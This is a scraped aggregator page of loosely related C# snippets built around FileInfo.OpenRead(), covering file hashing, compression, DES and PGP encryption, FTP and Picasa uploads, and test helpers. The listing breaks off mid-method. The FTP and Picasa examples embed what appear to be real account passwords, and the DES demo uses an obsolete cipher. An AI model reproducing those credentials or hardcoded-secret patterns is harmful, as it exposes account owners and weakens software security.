OpenRead() private méthode

private OpenRead ( ) : FileStream
Résultat FileStream
Exemple #1
1
        internal static IList<Test> LoadAll()
        {
            var file = new FileInfo("tests.xml");

            if (!file.Exists)
                return new Test[0];

            XmlDocument xml = new XmlDocument();
            using (var fs = file.OpenRead())
                xml.Load(fs);

            var ret = new List<Test>();
            foreach (XmlNode node in xml.SelectNodes("/Tests/*"))
            {
                var n = node.SelectSingleNode("./Type");

                if (n == null)
                    throw new InvalidOperationException("Test Type must be informed.");

                var typeName = n.InnerText;
                var type = FindType(typeName);

                if (type == null)
                    throw new InvalidOperationException(string.Format("'{0}' is not a valid Test.", typeName));

                var obj = (Test)Activator.CreateInstance(type);
                node.ToEntity(obj);

                ret.Add(obj);
            }

            return ret;
        }
Exemple #2
0
        //This is the endpoint for actual uppload of any attachments pdf/images/xls etc
        public void AttachableUploadDownloadAddTestUsingoAuth(ServiceContext qboContextoAuth)
        {
            string imagePath = string.Concat(AppDomain.CurrentDomain.BaseDirectory, "\\", "Resource\\invoice.pdf");

            System.IO.FileInfo file       = new System.IO.FileInfo(imagePath);
            Attachable         attachable = QBOHelper.CreateAttachableUpload(qboContextoAuth);

            using (System.IO.FileStream fs = file.OpenRead())
            {
                //attachable.ContentType = "image/jpeg";
                attachable.ContentType = "application/pdf";
                attachable.FileName    = file.Name;
                attachable             = Helper.Upload(qboContextoAuth, attachable, fs);
            }
            //Upload attachment
            byte[] uploadedByte = null;
            using (System.IO.FileStream fs = file.OpenRead())
            {
                using (BinaryReader binaryReader = new BinaryReader(fs))
                {
                    uploadedByte = binaryReader.ReadBytes((int)fs.Length);
                }
            }
            //To read online file
            //using (MemoryStream fs1 = new MemoryStream())
            //{
            //    using (BinaryReader binaryReader = new BinaryReader(fs1))
            //    {
            //        uploadedByte = binaryReader.ReadBytes((int)fs1.Length);
            //    }
            //}

            //Dowload Attachment
            byte[] responseByte = Helper.Download(qboContextoAuth, attachable);
        }
Exemple #3
0
        public static String DigestFile(String uri, DigestMode mode = DigestMode.SHA1)
        {
            byte[] data = new byte[0];

            if (File.Exists(uri))
            {
                FileInfo fi = new FileInfo(uri);
                switch (mode)
                {
                    case DigestMode.MD5:
                        data =    MD5.Create().ComputeHash(fi.OpenRead());
                        break;
                    case DigestMode.SHA1:
                        data =   SHA1.Create().ComputeHash(fi.OpenRead());
                        break;
                    case DigestMode.SHA256:
                        data = SHA256.Create().ComputeHash(fi.OpenRead());
                        break;
                    case DigestMode.SHA384:
                        data = SHA384.Create().ComputeHash(fi.OpenRead());
                        break;
                    case DigestMode.SHA512:
                        data = SHA512.Create().ComputeHash(fi.OpenRead());
                        break;
                }
            }

            return Engine.Byte2hex(data);
        }
Exemple #4
0
        public void AttachableUploadDownloadAddTestUsingoAuth()
        {
            //Creating the Bill for Add

            string imagePath = string.Concat(AppDomain.CurrentDomain.BaseDirectory, "\\", "Services\\Resource\\image.jpg");

            System.IO.FileInfo file       = new System.IO.FileInfo(imagePath);
            Attachable         attachable = QBOHelper.CreateAttachableUpload(qboContextoAuth);

            using (System.IO.FileStream fs = file.OpenRead())
            {
                attachable.ContentType = "image/jpeg";
                attachable.FileName    = file.Name;
                attachable             = Helper.Upload(qboContextoAuth, attachable, fs);
            }

            byte[] uploadedByte = null;
            using (System.IO.FileStream fs = file.OpenRead())
            {
                using (BinaryReader binaryReader = new BinaryReader(fs))
                {
                    uploadedByte = binaryReader.ReadBytes((int)fs.Length);
                }
            }

            //Verify the added Attachable
            Assert.IsNotNull(attachable.Id);

            byte[] responseByte = Helper.Download(qboContextoAuth, attachable);

            for (int i = 0; i < responseByte.Length; i++)
            {
                Assert.AreEqual(uploadedByte[i], responseByte[i]);
            }
        }
Exemple #5
0
 public FileResponse(string path, IHttpRequest request)
     : base()
 {
     file = new FileInfo(path);
     var time = file.LastWriteTime.ToUniversalTime().ToString("r");
     this.Headers[eHttpHeader.ContentType] = MIME.GetContengTypeByExtension(System.IO.Path.GetExtension(path));
     if (time == request.Headers[eHttpHeader.IfModifiedSince])
     {
         this.Write304();
     }
     else
     {
         Headers.Add("Last-Modified", file.LastWriteTime.ToUniversalTime().ToString("r"));
         if (request.Headers[eHttpHeader.AcceptEncoding].Contains("gzip"))
         {
             using (var compress = new GZipStream(content, CompressionMode.Compress,true))
             {
                 compress.Write(file.OpenRead().ReadAll());
             }
             Headers.Add(eHttpHeader.ContentEncoding, "gzip");
         }
         else
         {
              file.OpenRead().CopyTo(content);
         }
     }
 }
        static void Main(string[] args)
        {
            var inputFile = new FileInfo("input.txt");
            var outputFile = new FileInfo("output.txt");
            var decryptedFile = new FileInfo("decrypted.txt");

            // delete files if they already exists
            if (inputFile.Exists) inputFile.Delete();
            if (outputFile.Exists) outputFile.Delete();
            if (decryptedFile.Exists) decryptedFile.Delete();

            // write test data to input file
            using (var writer = new StreamWriter(inputFile.Create()))
                writer.WriteLine("Some plain text which is not already encrypted");

            // initialise des algorithm
            var desProvider = new DESCryptoServiceProvider();

            // get des generated key and initialization vector
            var key = desProvider.Key;
            var initialisationVector = desProvider.IV;
            Console.WriteLine("Key: {0}\n", Convert.ToBase64String(key));

            Console.WriteLine("Begin encryption ...");
            // encrypt data from input file to output file
            using (var inputStream = inputFile.OpenRead())
            using (var encryptor = desProvider.CreateEncryptor(key, initialisationVector))
            using (var cryptostream = new CryptoStream(outputFile.Create(), encryptor, CryptoStreamMode.Write))
            {
                var bytes = new byte[inputStream.Length - 1];
                inputStream.Read(bytes, 0, bytes.Length);
                Console.WriteLine("Data in input file before encryption: {0}", Encoding.UTF8.GetString(bytes));
                cryptostream.Write(bytes, 0, bytes.Length);
            }

            Console.WriteLine("Encryption finished!");

            // print encryption result
            using (var reader = new StreamReader(outputFile.OpenRead()))
                Console.WriteLine("Encryption result: {0}\n\n", reader.ReadToEnd());

            Console.WriteLine("Begin decryption ...");
            // decrypt data from output file to result file
            using (var outputStream = new StreamWriter(decryptedFile.Create()))
            using (var decryptor = desProvider.CreateDecryptor())
            using (var cryptostream = new StreamReader(new CryptoStream(
                    outputFile.OpenRead(), decryptor, CryptoStreamMode.Read)))
                outputStream.Write(cryptostream.ReadToEnd());

            Console.WriteLine("Decryption finished!");

            // print decryption result
            using (var reader = new StreamReader(decryptedFile.OpenRead()))
                Console.WriteLine("Decryption result: {0}", reader.ReadToEnd());
        }
 private Stream OpenFileRead(FileInfo fileInfo)
 {
     try
     {
         return fileInfo.OpenRead();
     }
     catch (IOException)
     {
         return fileInfo.OpenRead();
     }
 }
Exemple #8
0
 public byte[] ExtractTest(FileInfo fileInfo, out byte[] thing)
 {
     using (var tmp = File.OpenRead()) {
         tmp.Seek(fileInfo.Offset, SeekOrigin.Begin);
         thing = new byte[fileInfo.ZipSize];
         tmp.ReadFully(thing, 0, thing.Length);
     }
     using (var stream = GetStream(fileInfo))
         using (var mem = new MemoryStream()) {
             stream.CopyToLength(mem, fileInfo.Size);
             return(mem.ToArray());
         }
 }
Exemple #9
0
        /// <summary>
        /// Obtiene un arreglo de BYTES que representan el contenido binario de un archivo para enviarlo directamente a una BD o hacer algun trabajo con él.
        /// </summary>
        /// <param name="f">FileInfo f del archivo del cual se quiere obtener el arreglo de bytes</param>
        /// <returns>arreglo de bytes para hacer algun trabajo con el.</returns>
        public static byte[] getBytesFromFile(FileInfo f)
        {
            byte[] buffer = null;

            try
            {
                buffer = new byte[f.OpenRead().Length];
                f.OpenRead().Read(buffer, 0, (int)f.OpenRead().Length);
            }
            catch (Exception ex)
            {
                buffer = null;
            }
            return buffer;
        }
Exemple #10
0
    public string uploadImageToGoogle(string path, string username, string password, string blogId)
    {
        if (!System.IO.File.Exists(path))
        {
            return("Error! Image file not found");
        }
        ///////////////////////token session and shits...///////////
        PicasaService service = new PicasaService("HowToFixPRO");

        service.setUserCredentials(username, password);
        /////////////////cdefault album is dropBox or something////
        Uri postUri = new Uri(PicasaQuery.CreatePicasaUri(username));

        System.IO.FileInfo   fileInfo   = new System.IO.FileInfo(path);
        System.IO.FileStream fileStream = fileInfo.OpenRead();

        PicasaEntry entry = (PicasaEntry)service.Insert(postUri, fileStream, "image/png", "nameOfYourFile");

        fileStream.Close();

        PhotoAccessor ac         = new PhotoAccessor(entry);
        string        contentUrl = entry.Media.Content.Attributes["url"] as string;

        return(contentUrl);
    }
Exemple #11
0
        protected System.Collections.Generic.IList <ManageThemeInfo> LoadThemes()
        {
            System.Web.HttpContext context     = Hidistro.Membership.Context.HiContext.Current.Context;
            System.Xml.XmlDocument xmlDocument = new System.Xml.XmlDocument();
            System.Collections.Generic.IList <ManageThemeInfo> list = new System.Collections.Generic.List <ManageThemeInfo>();
            string path = context.Request.PhysicalApplicationPath + HiConfiguration.GetConfig().FilesPath + "\\Templates\\library";

            string[] array  = System.IO.Directory.Exists(path) ? System.IO.Directory.GetDirectories(path) : null;
            string[] array2 = array;
            for (int i = 0; i < array2.Length; i++)
            {
                string path2 = array2[i];
                System.IO.DirectoryInfo directoryInfo = new System.IO.DirectoryInfo(path2);
                string text = directoryInfo.Name.ToLower(System.Globalization.CultureInfo.InvariantCulture);
                if (text.Length > 0 && !text.StartsWith("_"))
                {
                    System.IO.FileInfo[] files  = directoryInfo.GetFiles(text + ".xml");
                    System.IO.FileInfo[] array3 = files;
                    for (int j = 0; j < array3.Length; j++)
                    {
                        System.IO.FileInfo   fileInfo        = array3[j];
                        ManageThemeInfo      manageThemeInfo = new ManageThemeInfo();
                        System.IO.FileStream fileStream      = fileInfo.OpenRead();
                        xmlDocument.Load(fileStream);
                        fileStream.Close();
                        manageThemeInfo.Name        = xmlDocument.SelectSingleNode("ManageTheme/Name").InnerText;
                        manageThemeInfo.ThemeImgUrl = xmlDocument.SelectSingleNode("ManageTheme/ImageUrl").InnerText;
                        manageThemeInfo.ThemeName   = text;
                        list.Add(manageThemeInfo);
                    }
                }
            }
            return(list);
        }
        /// <summary>
        /// Load the specified object.
        /// </summary>
        ///
        /// <param name="file">The file to load.</param>
        /// <returns>The loaded object.</returns>
        public static Object LoadObject(FileInfo file)
        {
            FileStream fis = null;

            try
            {
                fis = file.OpenRead();
                Object result = LoadObject(fis);

                return result;
            }
            catch (IOException ex)
            {
                throw new PersistError(ex);
            }
            finally
            {
                if (fis != null)
                {
                    try
                    {
                        fis.Close();
                    }
                    catch (IOException e)
                    {
                        EncogLogging.Log(e);
                    }
                }
            }
        }
Exemple #13
0
        //Enviar un archivo de texto mediante FTP, según los parametros de conexión especificados. (basado ClearMechanic)
        private void EnviarArchivoFTP(string archivoTxt, String[] arrParams)
        {
            string ftpurl   = "ftp://integration.clearmechanic.com/";
            string username = arrParams[2]; // "autoorionsur";
            string filename = archivoTxt;
            string password = arrParams[3]; // "n96098qY1o";

            FtpWebRequest ftpClient = (FtpWebRequest)FtpWebRequest.Create(ftpurl + "" + filename);

            ftpClient.Credentials = new System.Net.NetworkCredential(username, password);
            ftpClient.Method      = System.Net.WebRequestMethods.Ftp.UploadFile;
            ftpClient.UseBinary   = true;
            ftpClient.KeepAlive   = true;
            System.IO.FileInfo fi = new System.IO.FileInfo(directorioArchivo + filename);
            ftpClient.ContentLength = fi.Length;
            byte[] buffer      = new byte[4097];
            int    bytes       = 0;
            int    total_bytes = (int)fi.Length;

            System.IO.FileStream fs = fi.OpenRead();
            System.IO.Stream     rs = ftpClient.GetRequestStream();
            while (total_bytes > 0)
            {
                bytes = fs.Read(buffer, 0, buffer.Length);
                rs.Write(buffer, 0, bytes);
                total_bytes = total_bytes - bytes;
            }
            //fs.Flush();
            fs.Close();
            rs.Close();
            FtpWebResponse uploadResponse = (FtpWebResponse)ftpClient.GetResponse();
            string         value          = uploadResponse.StatusDescription;

            uploadResponse.Close();
        }
Exemple #14
0
        static void Main(string[] args)
        {
            string baseDir = @"D:\Test\Bilder\{0}.mp3";
            string baseDir2 = @"D:\Test\{0}.mp3";
            string Target = @"D:\Test\Target\{0}.mp3";

            string filePath = String.Format(baseDir2, "2");

            FileInfo info = new FileInfo(filePath);
            if(!info.Exists)
                throw new FileNotFoundException();

            ContainerFactory fac = new ContainerFactory();
            var cont = fac.Create(info.OpenRead());
            cont.ReadFrameCollection();

            foreach (var item in cont.Frames)
            {
                System.Console.WriteLine(item.FrameID + " => " + item.FrameData);
            }

            string targetDir = String.Format(Target, 3);
            cont.CopyTo(targetDir);

            FileInfo info2 = new FileInfo(targetDir);
            var cont2 = fac.Create(info2.OpenRead());

            cont2.ReadFrameCollection();

            foreach (var item in cont2.Frames)
            {
                System.Console.WriteLine(item.FrameID + " => " + item.FrameData);
            }
            System.Console.ReadKey();
        }
        public static void LoadSettings()
        {
            Stream Read = null;

            try
            {
                FileInfo FI = new FileInfo(GetConfigFilePath());

                Read = FI.OpenRead();

                BinaryFormatter BF = new BinaryFormatter();

                Settings Tmp = (Settings) BF.Deserialize(Read);
                m_Settings = Tmp;
            }
            catch(Exception)
            {
            }
            finally
            {
                if (Read != null)
                {
                    Read.Close();
                }
            }
        }
Exemple #16
0
 /// <summary>
 /// Creates a NSData object from a file. Using the files contents as the contents of this NSData object.
 /// </summary>
 /// <param name="file">The file containing the data.</param>
 /// <exception cref="FileNotFoundException">If the file could not be found.</exception>
 /// <exception cref="IOException">If the file could not be read.</exception>
 public NSData(FileInfo file)
 {
     bytes = new byte[(int)file.Length];
     FileStream raf = file.OpenRead();
     raf.Read(bytes, 0, (int)file.Length);
     raf.Close();
 }
 /// <summary>
 /// 采用KMP算法进行搜索
 /// </summary>
 /// <param name="file"></param>
 /// <param name="data"></param>
 /// <param name="next"></param>
 /// <returns></returns>
 public long[] KMPSearch(FileInfo file, byte[] data, int[] next)
 {
     using (FileStream fileReader = file.OpenRead())
     {
         return KMP.Match(fileReader, data, next);
     }
 }
Exemple #18
0
        public static string GzipDecompress(string fileFullName)
        {
            var retName = string.Empty;
            if (!File.Exists(fileFullName))
                return retName;

            var fi = new FileInfo(fileFullName);

            using (var fs = fi.OpenRead())
            {
                var dName = fi.DirectoryName;
                if (string.IsNullOrWhiteSpace(dName))
                {
                    dName = TempDirectories.Root;
                }
                var cName = fi.FullName;
                var nName = Path.GetFileNameWithoutExtension(cName);
                var nFName = Path.Combine(dName, nName);

                using (var dFs = File.Create(nFName))
                {
                    using (var gzipStream = new GZipStream(fs, CompressionMode.Decompress))
                    {
                        gzipStream.CopyTo(dFs);
                    }
                }
                retName = nFName;
            }

            return retName;
        }
        public bool check(FileInfo a, FileInfo b)
        {
            int len = a.Length < b.Length ? (int)a.Length : (int)b.Length;

            len = len > 100 ? 100 : len;

            FileStream fsa = a.OpenRead ();
            byte[] ba = new byte[len];

            FileStream fsb = b.OpenRead ();
            byte[] bb = new byte[len];

            fsa.Seek(a.Length - len, SeekOrigin.Current);
            fsb.Seek(b.Length - len, SeekOrigin.Current);

            fsa.Read (ba, 0, len);
            fsb.Read (bb, 0, len);

            fsa.Close ();
            fsb.Close ();

            for (int i=0; i<len; i++) {
                if (ba [i] != bb [i])
                    return false;
            }

            return true;
        }
Exemple #20
0
        static void Main(string[] args)
        {
            while (true)
            {
                try
                {
                    string[] filePaths = Directory.GetFiles(@"C:\WeddApp\upload");
                    DateTime current   = new DateTime();
                    for (int i = 0; i < filePaths.Length; i++)
                    {
                        PicasaService myPicasa = new PicasaService("Vikash-Test-Picasa");
                        //Passing GMail credentials(EmailID and Password)
                        myPicasa.setUserCredentials("*****@*****.**", "0542686874");

                        //User ID and AlbumID has been used to create new URL
                        Uri newURI = new Uri(PicasaQuery.CreatePicasaUri("hagit.oded", "5780002529047522017"));

                        //Image path which we are uploading
                        current = DateTime.Now;
                        System.IO.FileInfo   newFile   = new System.IO.FileInfo(filePaths[i]);
                        System.IO.FileStream neFStream = newFile.OpenRead();
                        PicasaEntry          newEntry  = (PicasaEntry)myPicasa.Insert(newURI, neFStream, "Image/jpeg", Convert.ToString(current));
                        Console.Out.WriteLine("Image " + newFile.Name + " uploaded");
                        neFStream.Close();
                        File.Delete(filePaths[i]);
                    }
                    Thread.Sleep(ts);
                }
                catch (Exception ex)
                {
                    Console.Out.WriteLine(ex.Message);
                    System.Diagnostics.EventLog.WriteEntry("WeddApp", ex.Message, System.Diagnostics.EventLogEntryType.Error, 626);
                }
            }
        }
        private void UploadPhoto_Click(object sender, System.EventArgs e)
        {
            DialogResult result = openFileDialog.ShowDialog();

            if (result == DialogResult.OK)
            {
                string[] files = openFileDialog.FileNames;
                // Open each file and display the image in PictureBox1.
                // Call Application.DoEvents to force a repaint after each
                // file is read.
                foreach (string file in files)
                {
                    System.IO.FileInfo   fileInfo   = new System.IO.FileInfo(file);
                    System.IO.FileStream fileStream = fileInfo.OpenRead();

                    this.FileInfo.Text = "Starting upload....";
                    PicasaEntry entry = new PhotoEntry();

                    UserState ut = new UserState();
                    ut.opType = UserState.OperationType.upload;
                    this.states.Add(ut);
                    entry.MediaSource = new Google.GData.Client.MediaFileSource(fileStream, file, "image/jpeg");
                    this.picasaService.InsertAsync(new Uri(this.photoFeed.Post), entry, ut);
                }
            }
        }
Exemple #22
0
 /// <summary>
 /// Computes the MD5 hash of the given file.
 /// </summary>
 /// <param name="fileName">File name</param>
 /// <returns>MD5 hash as String</returns>
 public virtual String GetFileMd5(String fileName)
 {
     System.IO.FileInfo   testFile = new System.IO.FileInfo(fileName);
     System.IO.FileStream fstrm    = null;
     try
     {
         fstrm = testFile.OpenRead();
         byte[] md5 = _MD5Service.ComputeHash(fstrm);
         char[] s   = new char[32];
         for (int i = 0; i < md5.Length; i++)
         {
             int b = (int)md5[i];
             s[2 * i]     = HEXCHARS[(b >> 4) & 0x0F];
             s[2 * i + 1] = HEXCHARS[b & 0x0F];
         }
         return(new String(s));
     }
     finally
     {
         if (fstrm != null)
         {
             fstrm.Close();
         }
     }
 }
Exemple #23
0
 public static DataTable ReadExcel(System.IO.FileInfo file)
 {
     using (System.IO.Stream stream = file.OpenRead())
     {
         return(ReadExcel(stream));
     }
 }
Exemple #24
0
        /// <summary>
        /// Encrypt and sign the file pointed to by unencryptedFileInfo and
        /// write the encrypted content to outputStream.
        /// </summary>
        /// <param name="outputStream">The stream that will contain the
        /// encrypted data when this method returns.</param>
        /// <param name="fileName">FileInfo of the file to encrypt</param>
        public void EncryptAndSign(Stream outputStream, FileInfo unencryptedFileInfo)
        {
            if (outputStream == null)
            {
                throw new ArgumentNullException("outputStream", "outputStream is null.");
            }
            if (unencryptedFileInfo == null)
            {
                throw new ArgumentNullException("unencryptedFileInfo", "unencryptedFileInfo is null.");
            }
            if (!File.Exists(unencryptedFileInfo.FullName))
            {
                throw new ArgumentException("File to encrypt not found.");
            }

            using (Stream encryptedOut = ChainEncryptedOut(outputStream))

            using (Stream compressedOut = ChainCompressedOut(encryptedOut))
            {
                PgpSignatureGenerator signatureGenerator = InitSignatureGenerator(compressedOut);
                using (Stream literalOut = ChainLiteralOut(compressedOut, unencryptedFileInfo))
                using (FileStream inputFile = unencryptedFileInfo.OpenRead())
                {
                    WriteOutputAndSign(compressedOut, literalOut, inputFile, signatureGenerator);
                }

            }
        }
Exemple #25
0
        /// <summary>
        /// 加密并签名
        /// 使用接受方的公钥进行加密
        /// 使用发送方的私钥进行签名
        /// 先压缩,再加密,再签名
        /// </summary>
        /// <param name="kp"></param>
        /// <param name="cfg"></param>
        /// <param name="inputFile"></param>
        /// <param name="outputStream">普通的stream,或者Org.BouncyCastle.Bcpg.ArmoredOutputStream(如果使用加密文件使用ASCII)</param>
        public static void EncryptAndSign(System.IO.FileInfo inputFile, System.IO.Stream outputStream, GpgKeyPair kp, GpgEncryptSignCfg cfg)
        {
            var sr = new Org.BouncyCastle.Security.SecureRandom();
            var pgpEncryptedDataGenerator = new Org.BouncyCastle.Bcpg.OpenPgp.PgpEncryptedDataGenerator(cfg.SymmetricKeyAlgorithmTag, cfg.IntegrityProtected, sr);

            pgpEncryptedDataGenerator.AddMethod(kp.PublickKey);
            var pgpCompressedDataGenerator = new Org.BouncyCastle.Bcpg.OpenPgp.PgpCompressedDataGenerator(cfg.CompressionAlgorithmTag);
            var pgpLiteralDataGenerator    = new Org.BouncyCastle.Bcpg.OpenPgp.PgpLiteralDataGenerator();

            using (var fs = inputFile.OpenRead())
                using (var outputStreamEncrypted = pgpEncryptedDataGenerator.Open(outputStream, new byte[cfg.BufferSize]))
                    using (var outputStreamEncryptedCompressed = pgpCompressedDataGenerator.Open(outputStreamEncrypted))
                        using (var outputStreamEncryptedCompressedLiteral = pgpLiteralDataGenerator.Open(outputStreamEncryptedCompressed,
                                                                                                         Org.BouncyCastle.Bcpg.OpenPgp.PgpLiteralData.Binary, inputFile.Name, inputFile.Length, inputFile.LastWriteTime))
                        {
                            var pgpSignatureGenerator = new Org.BouncyCastle.Bcpg.OpenPgp.PgpSignatureGenerator(kp.PrivateKeySecreted.PublicKey.Algorithm,
                                                                                                                Org.BouncyCastle.Bcpg.HashAlgorithmTag.Sha256);
                            pgpSignatureGenerator.InitSign(Org.BouncyCastle.Bcpg.OpenPgp.PgpSignature.BinaryDocument, kp.PrivateKey);
                            var userId = kp.PrivateKeySecreted.PublicKey.GetUserIds().Cast <string>().First();
                            var pgpSignatureSubpacketGenerator = new Org.BouncyCastle.Bcpg.OpenPgp.PgpSignatureSubpacketGenerator();
                            pgpSignatureSubpacketGenerator.SetSignerUserId(cfg.IsCritical, userId);
                            pgpSignatureGenerator.SetHashedSubpackets(pgpSignatureSubpacketGenerator.Generate());
                            pgpSignatureGenerator.GenerateOnePassVersion(cfg.IsNested).Encode(outputStreamEncryptedCompressedLiteral);

                            int dataLenght = 0;
                            var buffer     = new byte[cfg.BufferSize];
                            while ((dataLenght = fs.Read(buffer, 0, buffer.Length)) > 0)
                            {
                                outputStreamEncryptedCompressedLiteral.Write(buffer, 0, dataLenght);
                                pgpSignatureGenerator.Update(buffer, 0, dataLenght);
                            }
                            pgpSignatureGenerator.Generate().Encode(outputStreamEncryptedCompressedLiteral);
                        }
        }
Exemple #26
0
 public static void ReadInMemory(FileInfo zipFileName, Predicate<ZipEntry> filter, Action<MemoryStream> action)
 {
     using (ZipInputStream inputStream = new ZipInputStream(zipFileName.OpenRead()))
     {
         ZipEntry entry;
         while ((entry = inputStream.GetNextEntry()) != null)
         {
             if (filter(entry))
             {
                 using (MemoryStream stream = new MemoryStream())
                 {
                     int count = 0x800;
                     byte[] buffer = new byte[0x800];
                     if (entry.Size <= 0L)
                     {
                         goto Label_0138;
                     }
                 Label_0116:
                     count = inputStream.Read(buffer, 0, buffer.Length);
                     if (count > 0)
                     {
                         stream.Write(buffer, 0, count);
                         goto Label_0116;
                     }
                 Label_0138:
                     stream.Position = 0;
                     action(stream);
                 }
             }
         }
     }
 }
Exemple #27
0
        private void ProcessFileUpload(System.Uri uri
                                       , System.IO.FileInfo fileInfo
                                       , System.ComponentModel.BackgroundWorker worker
                                       , System.ComponentModel.DoWorkEventArgs e)
        {
            using (FileStream stream = fileInfo.OpenRead())
            {
                int  i        = 0;
                bool finished = false;
                while (!finished)
                {
                    MemoryStream chunk      = new MemoryStream();
                    Chunk        chunkToAdd = new Chunk()
                    {
                        FileName = uniqueFileNameNonUI, Number = i, Size = 1
                    };
                    currentDispatcher.BeginInvoke(() =>
                    {
                        Chunks.Add(chunkToAdd);
                    });

                    //Compress to get a 3MB Chunk of file
                    finished = CreateZippedChunk(stream, chunk, 4096, 3000000, "zip" + i.ToString(), chunkToAdd);
                    //Upload Chunk
                    UploadChunk(uri, chunk, worker, e, i, finished, chunkToAdd);
                    i++;
                }
            }
        }
Exemple #28
0
        /// <summary>
        /// Initializes a new instance of the <see cref="ModelInfo"/> class.
        /// </summary>
        /// <param name="fileInfo">The model file info.</param>
        /// <exception cref="System.ArgumentNullException">fileInfo</exception>
        /// <exception cref="System.IO.FileNotFoundException">The specified model file does not exist.</exception>
        /// <exception cref="InvalidFormatException">Unable to load the specified model file.</exception>
        public ModelInfo(FileInfo fileInfo) {
            if (fileInfo == null)
                throw new ArgumentNullException("fileInfo");

            if (!fileInfo.Exists)
                throw new FileNotFoundException("The specified model file does not exist.", fileInfo.FullName);

            File = fileInfo;
            Name = Path.GetFileNameWithoutExtension(fileInfo.Name);

            try {

                using (var zip = new ZipArchive(fileInfo.OpenRead(), ZipArchiveMode.Read)) {
                    foreach (var entry in zip.Entries) {
                        if (entry.Name != ArtifactProvider.ManifestEntry) 
                            continue;

                        using (var stream = entry.Open()) {
                            Manifest = (Properties)Properties.Deserialize(stream);
                            break;
                        }
                    }
                }
            } catch (Exception ex) {
                throw new InvalidFormatException("Unable to load the specified model file.", ex);
            }
        }
Exemple #29
0
        /// <summary>
        /// Compresses the file with the GZip algorithm
        /// </summary>
        /// <param name="sourcePath">Path to the file which will be compressed</param>
        /// <param name="destinationPath">Path to the directory where the compressed file will be copied to</param>
        public static void Compress(string sourcePath, string destinationPath)
        {
            try
            {
                FileInfo fileToCompress = new FileInfo(sourcePath);

                using (FileStream originalFileStream = fileToCompress.OpenRead())
                {
                    if ((File.GetAttributes(fileToCompress.FullName) &
                        FileAttributes.Hidden) != FileAttributes.Hidden & fileToCompress.Extension != ".gz")
                    {
                        using (FileStream compressedFileStream = File.Create(destinationPath + "\\" + fileToCompress.Name + ".gz"))
                        {
                            using (GZipStream compressionStream = new GZipStream(compressedFileStream,
                                CompressionMode.Compress))
                            {
                                originalFileStream.CopyTo(compressionStream);

                            }
                        }

                        FileInfo info = new FileInfo(destinationPath + "\\" + fileToCompress.Name + ".gz");
                    }
                }
            }
            catch
            {
            }
        }
Exemple #30
0
 public string Upload(FileUpload fileUpload, string ftpServerIP, string ftpUserID, string ftpPassword)
 {
     string filename = fileUpload.FileName;
     string sRet = "上传成功!";
     FileInfo fileInf = new FileInfo(fileUpload.PostedFile.FileName);
     string uri = "ftp://" + ftpServerIP + "/" + filename;
     FtpWebRequest reqFTP = (FtpWebRequest)WebRequest.Create(new Uri(uri));
     reqFTP.Credentials = new NetworkCredential(ftpUserID, ftpPassword);
     reqFTP.KeepAlive = false;
     reqFTP.Method = "STOR";
     reqFTP.UseBinary = true;
     reqFTP.UsePassive = false;
     reqFTP.ContentLength = fileInf.Length;
     int buffLength = 2048;
     byte[] buff = new byte[buffLength];
     FileStream fs = fileInf.OpenRead();
     try
     {
         Stream strm = reqFTP.GetRequestStream();
         for (int contentLen = fs.Read(buff, 0, buffLength); contentLen != 0; contentLen = fs.Read(buff, 0, buffLength))
         {
             strm.Write(buff, 0, contentLen);
         }
         strm.Close();
         fs.Close();
     }
     catch (Exception ex)
     {
         sRet = ex.Message;
     }
     return sRet;
 }
Exemple #31
0
 /// <summary>
 /// 静态页提供示例,未做任何缓存和304响应处理,仅演示用。
 /// </summary>
 public Task GetStaticFile(IOwinContext context)
 {
     if (context.Request.Method == "GET" && context.Request.Path.HasValue)
     {
         string path = HttpHelper.GetMapPath(context.Request.Path.Value);
         FileInfo fi = new FileInfo(path);
         var response = context.Response;
         if (fi.Exists)
         {
             response.ContentType = MimeTypes.GetMimeType(fi.Extension);
             response.ContentLength = fi.Length;
             response.StatusCode = 200;
             using (FileStream fs = fi.OpenRead())
             {
                 fs.CopyTo(response.Body);
             }
         }
         else
         {
             response.StatusCode = 404;
             response.Write("<h1 style='color:red'>很抱歉,出现了404错误。</h1>");
         }
         return HttpHelper.completeTask;
     }
     else
     {
         return HttpHelper.cancelTask;
     }
 }
Exemple #32
0
        protected System.Collections.Generic.IList <ShopIndex.ManageThemeInfo> LoadThemes()
        {
            XmlDocument xmlDocument = new XmlDocument();

            System.Collections.Generic.IList <ShopIndex.ManageThemeInfo> list = new System.Collections.Generic.List <ShopIndex.ManageThemeInfo>();
            string[] array  = System.IO.Directory.Exists(base.Server.MapPath("/Templates/vshop/")) ? System.IO.Directory.GetDirectories(base.Server.MapPath("/Templates/vshop/")) : null;
            string[] array2 = array;
            for (int i = 0; i < array2.Length; i++)
            {
                string path = array2[i];
                System.IO.DirectoryInfo directoryInfo = new System.IO.DirectoryInfo(path);
                string text = directoryInfo.Name.ToLower(System.Globalization.CultureInfo.InvariantCulture);
                if (text.Length > 0 && !text.StartsWith("_"))
                {
                    System.IO.FileInfo[] files  = directoryInfo.GetFiles("template.xml");
                    System.IO.FileInfo[] array3 = files;
                    for (int j = 0; j < array3.Length; j++)
                    {
                        System.IO.FileInfo        fileInfo        = array3[j];
                        ShopIndex.ManageThemeInfo manageThemeInfo = new ShopIndex.ManageThemeInfo();
                        System.IO.FileStream      fileStream      = fileInfo.OpenRead();
                        xmlDocument.Load(fileStream);
                        fileStream.Close();
                        manageThemeInfo.Name      = xmlDocument.SelectSingleNode("root/Name").InnerText;
                        manageThemeInfo.ThemeName = text;
                        if (text == this.tempLatePath)
                        {
                            this.templateCuName = xmlDocument.SelectSingleNode("root/Name").InnerText;
                        }
                        list.Add(manageThemeInfo);
                    }
                }
            }
            return(list);
        }
        /// <summary>
        /// Tests preprocessing data from a PBF file.
        /// </summary>
        /// <param name="name"></param>
        /// <param name="pbfFile"></param>
        public static void TestSerialization(string name, string pbfFile)
        {
            FileInfo testFile = new FileInfo(string.Format(@".\TestFiles\{0}", pbfFile));
            Stream stream = testFile.OpenRead();
            PBFOsmStreamSource source = new PBFOsmStreamSource(stream);

            FileInfo testOutputFile = new FileInfo(@"test.routing");
            testOutputFile.Delete();
            Stream writeStream = testOutputFile.OpenWrite();

            CHEdgeGraphFileStreamTarget target = new CHEdgeGraphFileStreamTarget(writeStream,
                Vehicle.Car);
            target.RegisterSource(source);

            PerformanceInfoConsumer performanceInfo = new PerformanceInfoConsumer("CHSerializer");
            performanceInfo.Start();
            performanceInfo.Report("Pulling from {0}...", testFile.Name);

            var data = CHEdgeGraphOsmStreamTarget.Preprocess(
                source, new OsmRoutingInterpreter(), Vehicle.Car);

